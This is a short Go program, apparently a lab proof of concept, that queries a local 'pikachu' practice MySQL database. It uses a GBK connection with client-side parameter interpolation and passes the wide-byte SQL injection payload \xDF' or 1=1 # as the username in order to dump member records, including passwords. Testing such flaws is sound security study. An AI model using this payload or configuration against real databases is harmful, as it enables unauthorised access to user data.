package main

import (
	"database/sql"
	"fmt"
	"log"

	_ "github.com/go-sql-driver/mysql"
)

// Member 结构体映射 member 表的字段
type Member struct {
	ID       uint   `db:"id"`
	Username string `db:"username"`
	Pw       string `db:"pw"` // 注意：不应在应用逻辑中直接处理密码。
	Sex      string `db:"sex"`
	Phonenum string `db:"phonenum"`
	Address  string `db:"address"`
	Email    string `db:"email"`
}

func main() {
	// 替换为你的数据库用户名、密码、主机地址和端口
	dsn := "root:root@tcp(127.0.0.1:3306)/pikachu?charset=gbk&parseTime=True&loc=Local&interpolateParams=true"
	db, err := sql.Open("mysql", dsn)
	if err != nil {
		log.Fatal(err)
	}
	defer db.Close()

	// 测试数据库连接
	err = db.Ping()
	if err != nil {
		log.Fatal(err)
	}

	fmt.Println("Successfully connected to the database!")

	var members []Member

	//username := "kevin"
	bytes := []byte{'\xDF','\'',' ', 'o','r',' ','1','=','1',' ','#', ' '}
	username := string(bytes)
	rows, err := db.Query("SELECT id, username, pw, sex, phonenum, address, email FROM member where username = ?", username)
	if err != nil {
		log.Fatal(err)
	}
	defer rows.Close()

	for rows.Next() {
		var m Member
		if err := rows.Scan(&m.ID, &m.Username, &m.Pw, &m.Sex, &m.Phonenum, &m.Address, &m.Email); err != nil {
			log.Fatal(err)
		}
		members = append(members, m)
	}

	// 检查遍历rows时是否有错误
	if err := rows.Err(); err != nil {
		log.Fatal(err)
	}

	// 打印结果
	for _, member := range members {
		fmt.Printf("ID: %d, Username: %s, Email: %s\n", member.ID, member.Username, member.Email)
	}
}